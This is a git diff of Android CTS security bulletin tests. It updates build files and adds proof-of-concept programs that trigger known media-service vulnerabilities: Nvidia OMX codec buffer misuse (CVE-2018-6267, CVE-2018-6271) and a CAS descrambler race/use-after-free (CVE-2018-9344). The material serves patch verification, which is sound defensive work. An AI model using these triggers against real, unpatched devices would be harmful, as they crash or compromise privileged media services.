 # Tag this module as a cts test artifact
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-11041/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-11041/Android.mk
index 89d2f23..982984e 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-11041/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-11041/Android.mk
@@ -24,6 +24,7 @@
 LOCAL_C_INCLUDES:= \
     $(TOP)/frameworks/av/include \
     $(TOP)/frameworks/native/include/media/openmax \
+    $(TOP)/frameworks/av/media/libstagefright/omx/include/media/stagefright/omx/ \
     $(TOP)/frameworks/av/media/libstagefright/omx \
     $(TOP)/hardware/libhardware/modules/gralloc/ \
     $(TARGET_OUT_INTERMEDIATES)/include/mm-core/
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13179/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13179/Android.mk
index 557f5e2..6cfc5b3 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13179/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13179/Android.mk
@@ -21,13 +21,11 @@
 LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
 LOCAL_C_INCLUDES := external/libhevc/common
 LOCAL_C_INCLUDES += external/libhevc/decoder
-LOCAL_C_INCLUDES += frameworks/av/media/libstagefright/omx
-LOCAL_C_INCLUDES += frameworks/native/include/media/hardware
 LOCAL_C_INCLUDES += frameworks/native/include/media/openmax
 LOCAL_C_INCLUDES += frameworks/av/media/libstagefright/codecs/hevcdec
-LOCAL_C_INCLUDES += frameworks/av/media/libstagefright
-LOCAL_C_INCLUDES += frameworks/av/media/libstagefright/include
 LOCAL_C_INCLUDES += system/libhidl/transport/token/1.0/utils/include
+LOCAL_C_INCLUDES += frameworks/av/media/libstagefright/omx/include/media/stagefright/omx/
+LOCAL_C_INCLUDES += frameworks/av/media/libstagefright/omx/include/
 LOCAL_SHARED_LIBRARIES := liblog
 LOCAL_SHARED_LIBRARIES += libstagefright_soft_hevcdec
 LOCAL_SHARED_LIBRARIES += libutils
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13179/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13179/poc.cpp
index 1a19969..8dbfd36 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13179/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13179/poc.cpp
@@ -28,6 +28,7 @@
 #include "SoftHEVC.h"
 #include "ihevc_buf_mgr.h"
 #define LIBNAME "/system/lib/libstagefright_soft_hevcdec.so"
+#define LIBNAME_VNDK "/system/lib/vndk/libstagefright_soft_hevcdec.so"
 #define MAX_ENTRIES        (1024)
 
 #define DISABLE_MEM_ACCESS(mem, size)\
@@ -202,9 +203,12 @@
         const char *, const OMX_CALLBACKTYPE *, OMX_PTR, OMX_COMPONENTTYPE **);
 
 int main(void) {
-    void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+    void *libHandle = dlopen(LIBNAME_VNDK, RTLD_NOW | RTLD_LOCAL);
     if (libHandle == NULL) {
-        return EXIT_FAILURE;
+        libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+        if (libHandle == NULL) {
+            return EXIT_FAILURE;
+        }
     }
 
     CreateSoftOMXComponentFunc createSoftOMXComponent =
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13203/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13203/Android.mk
deleted file mode 100644
index 6e7dda2..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13203/Android.mk
+++ /dev/null
@@ -1,34 +0,0 @@
-# Copyright (C) 2020 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CVE-2017-13203
-LOCAL_SRC_FILES := ../../../../../external/libavc/test/decoder/main.c
-LOCAL_SRC_FILES += ../includes/memutils.c
-LOCAL_MULTILIB := 64
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-LOCAL_C_INCLUDES := external/libavc/common
-LOCAL_C_INCLUDES += external/libavc/decoder
-LOCAL_SHARED_LIBRARIES := libstagefright_soft_avcdec
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts sts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror -DCHECK_OVERFLOW
-LOCAL_CFLAGS += -DPROFILE_ENABLE -fPIC -DMD5_DISABLE
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-17767/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-17767/Android.mk
index 39c929c..783e815 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-17767/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-17767/Android.mk
@@ -27,7 +27,8 @@
     $(TOP)/frameworks/av/media/libstagefright/omx \
     $(TOP)/hardware/libhardware/modules/gralloc/ \
     $(TOP)/frameworks/native/include/media/hardware \
-    $(TARGET_OUT_INTERMEDIATES)/include/mm-core/
+    $(TARGET_OUT_INTERMEDIATES)/include/mm-core/ \
+    $(TOP)/frameworks/av/media/libstagefright/omx/include/ \
 
 LOCAL_SHARED_LIBRARIES += libmedia libbinder libui libgui libutils liblog
 
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-17767/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-17767/poc.cpp
index 5348199..e88883c 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-17767/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-17767/poc.cpp
@@ -17,7 +17,7 @@
 #undef _GNU_SOURCE
 #define _GNU_SOURCE
 #include "../includes/common.h"
-#include "OMXUtils.h"
+#include "media/stagefright/omx/OMXUtils.h"
 #include "OMX_Component.h"
 #include <binder/IServiceManager.h>
 #include <binder/ProcessState.h>
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-11261/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2018-11261/Android.mk
index 8f72993..d048cc2 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-11261/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-11261/Android.mk
@@ -25,7 +25,7 @@
     $(TOP)/frameworks/av/include/media/ \
     $(TOP)/frameworks/native/include/media/openmax \
     $(TOP)/hardware/libhardware/modules/gralloc/ \
-    $(TOP)/frameworks/av/media/libstagefright/ \
+    $(TOP)/frameworks/av/media/libstagefright/omx/include/media/stagefright/ \
     $(TARGET_OUT_INTERMEDIATES)/include/mm-core/
 
 LOCAL_SHARED_LIBRARIES += libmedia libbinder libui libgui libutils
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-6267/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2018-6267/Android.mk
new file mode 100644
index 0000000..df9b19b
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-6267/Android.mk
@@ -0,0 +1,38 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2018-6267
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := 32
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+
+LOCAL_SHARED_LIBRARIES:= \
+    libbinder \
+    android.hardware.media.omx@1.0 \
+    libutils \
+    libhidlmemory \
+    libcutils \
+    libmedia \
+
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
+
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-6267/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-6267/poc.cpp
new file mode 100644
index 0000000..129d404
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-6267/poc.cpp
@@ -0,0 +1,195 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <fcntl.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+
+#include <binder/Binder.h>
+#include <binder/IPCThreadState.h>
+#include <binder/IServiceManager.h>
+#include <binder/ProcessState.h>
+
+#include <binder/MemoryBase.h>
+#include <binder/MemoryDealer.h>
+#include <binder/MemoryHeapBase.h>
+
+#include <media/IMediaPlayerService.h>
+#include <media/IOMX.h>
+#include <media/OMXBuffer.h>
+
+#include <android/hardware/media/omx/1.0/IOmx.h>
+#include <media/omx/1.0/WOmx.h>
+
+#include <cutils/properties.h>
+
+#include "OMX_Component.h"  // OMX_PARAM_PORTDEFINITIONTYPE
+
+#include <binder/MemoryBase.h>
+#include <binder/MemoryDealer.h>
+#include <binder/MemoryHeapBase.h>
+
+using namespace android;
+using namespace android::binder;
+
+template <class T>
+static void InitOMXParams(T *params) {
+  params->nSize = sizeof(T);
+  params->nVersion.s.nVersionMajor = 1;
+  params->nVersion.s.nVersionMinor = 0;
+  params->nVersion.s.nRevision = 0;
+  params->nVersion.s.nStep = 0;
+}
+
+struct DummyOMXObserver : public BnOMXObserver {
+ public:
+  DummyOMXObserver() {}
+
+  virtual void onMessages(const std::list<omx_message> &messages) {
+    if (messages.empty()) {
+      return;
+    }
+  }
+
+ protected:
+  virtual ~DummyOMXObserver() {}
+};
+
+static bool connectOMX(sp<IOMX> &omx) {
+  sp<IServiceManager> sm = defaultServiceManager();
+  sp<IBinder> binder = sm->getService(String16("media.player"));
+  sp<IMediaPlayerService> mediaPlayerService =
+      interface_cast<IMediaPlayerService>(binder);
+
+  if (mediaPlayerService == NULL) {
+    // cannot get the media player service
+    return false;
+  }
+
+  omx = mediaPlayerService->getOMX();
+  if (omx == NULL) {
+    // cannot get the OMX interface
+    return false;
+  }
+
+  return true;
+}
+
+int main() {
+  android::ProcessState::self()->startThreadPool();
+
+  sp<IOMX> omx;
+  if (connectOMX(omx) == false) {
+    return EXIT_FAILURE;
+  }
+
+  status_t err;
+  sp<IOMXNode> node;
+  sp<DummyOMXObserver> observer = new DummyOMXObserver();
+  const char *codecName = "OMX.Nvidia.h265.decode.secure";
+  err = omx->allocateNode(codecName, observer, &node);
+  if (err != OK) {
+    // node allocation fails
+    return EXIT_FAILURE;
+  }
+
+  int fenceFd = -1;
+  int inMemSize;
+  int inBufferCnt;
+  int inBufferSize;
+  int outMemSize;
+  int outBufferCnt;
+  int outBufferSize;
+
+  sp<MemoryDealer> dealerIn;
+  sp<MemoryDealer> dealerOut;
+  IOMX::buffer_id *inBufferId;
+  IOMX::buffer_id *outBufferId;
+  OMX_INDEXTYPE omx_indextype;
+  OMX_PARAM_PORTDEFINITIONTYPE defInput;
+  OMX_PARAM_PORTDEFINITIONTYPE defOutput;
+
+  {
+    omx_indextype = OMX_IndexParamPortDefinition;
+    // get input port parameters
+    InitOMXParams(&defInput);
+    defInput.nPortIndex = 0;
+    err = node->getParameter(omx_indextype, &defInput, sizeof(defInput));
+
+    // get output port parameters
+    InitOMXParams(&defOutput);
+    defOutput.nPortIndex = 1;
+    err = node->getParameter(omx_indextype, &defOutput, sizeof(defOutput));
+  }
+
+  err = node->setPortMode(0, IOMX::kPortModePresetSecureBuffer);
+
+  inMemSize = defInput.nBufferCountActual * defInput.nBufferSize;
+  inBufferCnt = defInput.nBufferCountActual;
+  inBufferSize = inMemSize / inBufferCnt;
+  // prepare input port buffers
+  dealerIn = new MemoryDealer(inMemSize);
+  inBufferId = new IOMX::buffer_id[inBufferCnt];
+
+  // change state from loaded to idle
+  err = node->sendCommand(OMX_CommandStateSet, 2);
+
+  usleep(300000);
+
+  for (int i = 0; i < inBufferCnt; i++) {
+    sp<IMemory> memory = dealerIn->allocate(inBufferSize);
+    for (int i = 0; i < inBufferSize / 4; i++) {
+      *((int *)memory->pointer() + i) = 0x12345678;
+    }
+
+    OMXBuffer omxBuf(memory);
+    void *buffer_data = NULL;
+    sp<NativeHandle> native_handle;
+    err = node->allocateSecureBuffer(0, inBufferSize, &inBufferId[i],
+                                     &buffer_data, &native_handle);
+  }
+
+  // prepare output port buffers
+  outMemSize = defOutput.nBufferCountActual * defOutput.nBufferSize;
+  outBufferCnt = defOutput.nBufferCountActual;
+  outBufferSize = outMemSize / outBufferCnt;
+  // prepare output port buffers
+  dealerOut = new MemoryDealer(outMemSize);
+  outBufferId = new IOMX::buffer_id[outBufferCnt];
+  for (int i = 0; i < outBufferCnt; i++) {
+    sp<IMemory> memory = dealerOut->allocate(outBufferSize);
+    memset(memory->pointer(), 0x66, outBufferSize);
+    OMXBuffer omxBuf(memory);
+    err = node->useBuffer(1, omxBuf, &outBufferId[i]);
+  }
+
+  // change state from idle to executing
+  err = node->sendCommand(OMX_CommandStateSet, 3);
+
+  usleep(300000);
+
+  for (int i = 0; i < inBufferCnt; i++) {
+    OMXBuffer omxBuf(0, inBufferSize);
+    err = node->emptyBuffer(inBufferId[i], omxBuf, 0, 0, fenceFd);
+  }
+
+  for (int i = 0; i < outBufferCnt; i++) {
+    OMXBuffer omxBuf(0, outBufferSize);
+    err = node->fillBuffer(outBufferId[i], omxBuf, fenceFd);
+  }
+
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-6271/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2018-6271/Android.mk
new file mode 100644
index 0000000..7a55a33
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-6271/Android.mk
@@ -0,0 +1,50 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2018-6271
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := 32
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+
+LOCAL_C_INCLUDES:= \
+    $(TOP)/frameworks/av/include/media/ \
+    $(TOP)/frameworks/av/include/media/stagefright/timedtext \
+    $(TOP)/frameworks/native/include/media/hardware \
+    $(TOP)/frameworks/native/include/media/openmax \
+    $(TOP)/hardware/qcom/media/msm8996/mm-core/inc \
+    $(TOP)/hardware/qcom/display/msm8996/libgralloc \
+    $(TOP)/frameworks/av/media/libstagefright/omx \
+    $(TOP)/frameworks/av/media/libstagefright/ \
+
+LOCAL_SHARED_LIBRARIES := \
+    libstagefright \
+    libstagefright_omx \
+    libstagefright_foundation \
+    libutils \
+    libmedia \
+    liblog \
+    libbinder \
+    libcutils \
+    libui \
+
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-6271/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-6271/poc.cpp
new file mode 100644
index 0000000..1ebc13a
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-6271/poc.cpp
@@ -0,0 +1,195 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <binder/IPCThreadState.h>
+#include <binder/IServiceManager.h>
+#include <binder/MemoryDealer.h>
+#include <binder/ProcessState.h>
+#include <cutils/properties.h>
+#include <media/IMediaCodecService.h>
+#include <media/IMediaPlayerService.h>
+#include <media/IOMX.h>
+#include <media/OMXBuffer.h>
+#include <media/hardware/HardwareAPI.h>
+#include <media/omx/1.0/WOmx.h>
+#include <media/stagefright/OMXClient.h>
+#include <media/stagefright/foundation/AString.h>
+#include <media/stagefright/omx/OMXUtils.h>
+#include <utils/Log.h>
+#include <utils/NativeHandle.h>
+#include "OMX_Component.h"
+#include "OMX_IndexExt.h"
+#include "OMX_QCOMExtns.h"
+
+using namespace android;
+
+struct DummyOMXObserver : public BnOMXObserver {
+ public:
+  DummyOMXObserver() {}
+
+  virtual void onMessages(const std::list<omx_message> &) {}
+
+ protected:
+  virtual ~DummyOMXObserver() {}
+};
+
+struct DeathRecipient : public IBinder::DeathRecipient {
+  DeathRecipient() : mDied(false) {}
+  bool mDied;
+  virtual void binderDied(const wp<IBinder> &who __unused) { mDied = true; }
+  bool died() const { return mDied; }
+};
+
+bool connectOMX(sp<IOMX> &omx) {
+  sp<IBinder> binder;
+  sp<IServiceManager> sm = defaultServiceManager();
+
+  binder = sm->getService(String16("media.player"));
+  sp<IMediaPlayerService> service = interface_cast<IMediaPlayerService>(binder);
+
+  if (binder == NULL) {
+    ALOGE("[-] cannot get the media player service");
+    return false;
+  }
+  omx = service->getOMX();
+  if (omx == NULL) {
+    ALOGE("[-] cannot get the OMX interface");
+    return false;
+  }
+  return true;
+}
+
+int main() {
+  sp<IOMX> service;
+  if (connectOMX(service) == false) {
+    ALOGE("[+] Cannot obtain IOMX from connectOMX");
+    return EXIT_FAILURE;
+  }
+
+  status_t err;
+  sp<IOMXNode> omxNode;
+  int fenceFd = -1;
+  Vector<sp<IMemory>> mInBuffers;
+  Vector<sp<IMemory>> mOutBuffers;
+
+  sp<DummyOMXObserver> observer = new DummyOMXObserver();
+
+  const char *codecName = "OMX.Nvidia.mp4.decode";
+
+  AString name(codecName);
+  err = service->allocateNode(name.c_str(), observer, &omxNode);
+  if (err != OK || omxNode == NULL) {
+    ALOGE("[+] Unable to instantiate a %s", name.c_str());
+    return EXIT_FAILURE;
+  }
+
+  // Initiate transition Loaded->Idle
+  err = omxNode->sendCommand(OMX_CommandStateSet, OMX_StateIdle);
+  if (err != OK) {
+    ALOGE("sendCommand, err: %d", err);
+    return EXIT_FAILURE;
+  }
+
+  OMX_PARAM_PORTDEFINITIONTYPE def;
+  InitOMXParams(&def);
+  def.nPortIndex = 0;
+  OMX_INDEXTYPE omx_indextype = OMX_IndexParamPortDefinition;
+  err = omxNode->getParameter(omx_indextype, &def, sizeof(def));
+  if (err != OK) {
+    ALOGI("port 0: %u buffers of size 0x%x", def.nBufferCountActual,
+            def.nBufferSize);
+    return EXIT_FAILURE;
+  }
+
+  int inMemSize = def.nBufferCountActual * def.nBufferSize;
+  int inBufferCnt = def.nBufferCountActual;
+  int inBufferSize = inMemSize / inBufferCnt;
+  sp<MemoryDealer> dealerIn = new MemoryDealer(inBufferSize);
+  IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+
+  InitOMXParams(&def);
+  def.nPortIndex = 1;
+  err = omxNode->getParameter(omx_indextype, &def, sizeof(def));
+  if (err != OK) {
+    ALOGI("port 1: %u buffers of size 0x%x", def.nBufferCountActual,
+            def.nBufferSize);
+    return EXIT_FAILURE;
+  }
+
+  int outMemSize = def.nBufferCountActual * def.nBufferSize;
+  int outBufferCnt = def.nBufferCountActual;
+  int outBufferSize = outMemSize / outBufferCnt;
+  sp<MemoryDealer> dealerOut = new MemoryDealer(outBufferSize);
+  IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+
+  sp<IMemory> inMemory = dealerIn->allocate(inBufferSize);
+
+  for (int i = 0; i < inBufferCnt; i++) {
+    memset(inMemory->pointer(), 0x7c, inBufferSize);
+    OMXBuffer omxbuffer(inMemory);
+    mInBuffers.push(inMemory);
+    err = omxNode->useBuffer(0, omxbuffer, &inBufferId[i]);
+    if (err != OK) {
+      ALOGE("port 0 err: %d useBuffer,inBufferId[%d]: %d,inBufferSize=%d", err, i,
+              inBufferId[i], inBufferSize);
+      return EXIT_FAILURE;
+    }
+  }
+
+  sp<IMemory> outMemory = dealerOut->allocate(outBufferSize);
+
+  for (int i = 0; i < outBufferCnt; i++) {
+    memset(outMemory->pointer(), 0x2f, outBufferSize);
+    OMXBuffer omxbuffer(outMemory);
+    mOutBuffers.push(outMemory);
+    err = omxNode->useBuffer(1, omxbuffer, &outBufferId[i]);
+    if (err != OK) {
+      ALOGE("port 1 err: %d useBuffer,outBufferId[%d]: %d,outBufferSize=%d", err,
+              i, outBufferId[i], outBufferSize);
+      return EXIT_FAILURE;
+    }
+  }
+
+  err = omxNode->sendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+  if (err != OK) {
+    ALOGE("sendCommand, err: %d", err);
+    return EXIT_FAILURE;
+  }
+
+  sleep(5);
+
+  for (int i = 0; i < inBufferCnt; i++) {
+    OMX_U32 flags = OMX_BUFFERFLAG_EXTRADATA;
+    int64_t timeUs = 0x00010001;
+    OMXBuffer omxbuffer(0, inBufferSize);
+    err = omxNode->emptyBuffer(inBufferId[i], omxbuffer, flags, timeUs, fenceFd);
+    if (err != OK) {
+      ALOGE("emptyBuffer, err: %d", err);
+      return EXIT_FAILURE;
+    }
+  }
+
+  for (int i = 0; i < outBufferCnt; i++) {
+    err = omxNode->fillBuffer(outBufferId[i], OMXBuffer::sPreset);
+    if (err != OK) {
+      ALOGE("fillBuffer, err: %d", err);
+      return EXIT_FAILURE;
+    }
+  }
+
+  omxNode->freeNode();
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9344/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9344/Android.mk
new file mode 100644
index 0000000..a806207
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9344/Android.mk
@@ -0,0 +1,38 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License
+
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2018-9344
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_SHARED_LIBRARIES := \
+    libutils \
+    libbinder \
+    libhidlbase \
+    libhardware \
+    android.hardware.cas.native@1.0 \
+    android.hardware.cas@1.0 \
+
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS = -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9344/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9344/poc.cpp
new file mode 100644
index 0000000..b5153e5
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9344/poc.cpp
@@ -0,0 +1,108 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <android/hardware/cas/1.0/IMediaCasService.h>
+#include <android/hardware/cas/native/1.0/IDescrambler.h>
+#include <binder/ProcessState.h>
+
+using namespace android;
+using hardware::hidl_vec;
+using hardware::Return;
+using namespace hardware::cas::V1_0;
+using android::hardware::Void;
+using android::hardware::cas::native::V1_0::IDescrambler;
+
+class MyMediaCasListener : public ICasListener {
+ public:
+  virtual Return<void> onEvent(int32_t, int32_t, const hidl_vec<uint8_t>&) override {
+    return Void();
+  }
+};
+
+static const int32_t sClearKeySystemId = 0xF6D8;
+static sp<IDescramblerBase> descramblerBase;
+
+static void* thread1(void*) {
+  Return<Status> returnStatus(Status::OK);
+  std::vector<uint8_t> sessionId;
+  sessionId.push_back(1);
+
+  returnStatus = descramblerBase->setMediaCasSession(sessionId);
+
+  return NULL;
+}
+
+int main() {
+  sp<ICas> cas;
+  Status status;
+  sp<IDescrambler> descrambler;
+  Return<Status> returnStatus(Status::OK);
+  Return<sp<IDescramblerBase>> returnDescrambler(NULL);
+  std::vector<uint8_t> sessionId;
+
+  android::ProcessState::self()->startThreadPool();
+
+  sp<IMediaCasService> casService = IMediaCasService::getService("default");
+  if (casService == NULL) {
+    return EXIT_FAILURE;
+  }
+
+  sp<ICasListener> listener;
+  cas = casService->createPlugin(sClearKeySystemId, listener);
+  if (cas == NULL) {
+    return EXIT_FAILURE;
+  }
+
+  auto returnVoid = cas->openSession(
+      [&status, &sessionId](Status _status,
+                            const hidl_vec<uint8_t>& _sessionId) {
+        status = _status;
+        sessionId = _sessionId;
+      });
+  if (!returnVoid.isOk() || status != Status::OK) {
+    return EXIT_FAILURE;
+  }
+
+  returnDescrambler = casService->createDescrambler(sClearKeySystemId);
+  if (!returnDescrambler.isOk()) {
+    return EXIT_FAILURE;
+  }
+
+  descramblerBase = (sp<IDescramblerBase>)returnDescrambler;
+
+  if (descramblerBase == NULL) {
+    return EXIT_FAILURE;
+  }
+
+  returnStatus = descramblerBase->setMediaCasSession(sessionId);
+
+  if (!returnStatus.isOk() || (Status)returnStatus != Status::OK) {
+    return EXIT_FAILURE;
+  }
+
+  descrambler = IDescrambler::castFrom(descramblerBase);
+
+  if (descrambler == NULL) {
+    return EXIT_FAILURE;
+  }
+
+  pthread_t pt;
+  pthread_create(&pt, NULL, thread1, NULL);
+
+  descramblerBase->release();
+
+  return EXIT_FAILURE;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9351/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9351/Android.mk
deleted file mode 100644
index d70feee..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9351/Android.mk
+++ /dev/null
@@ -1,45 +0,0 @@
-# Copyright (C) 2020 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-#=========================================================================
-# NOTE: This module uses the libavc's testbench from external folder
-# without creating a copy of the testbench locally. Hence LOCAL_SRC_FILES
-# is pointed to external folder.
-# This module is dependent on external/libavc/test
-#=========================================================================
-
-LOCAL_PATH := $(call my-dir)
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CVE-2018-9351
-LOCAL_SRC_FILES := ../../../../../external/libavc/test/encoder/main.c
-LOCAL_SRC_FILES += ../../../../../external/libavc/test/encoder/psnr.c
-LOCAL_SRC_FILES += ../../../../../external/libavc/test/encoder/input.c
-LOCAL_SRC_FILES += ../../../../../external/libavc/test/encoder/output.c
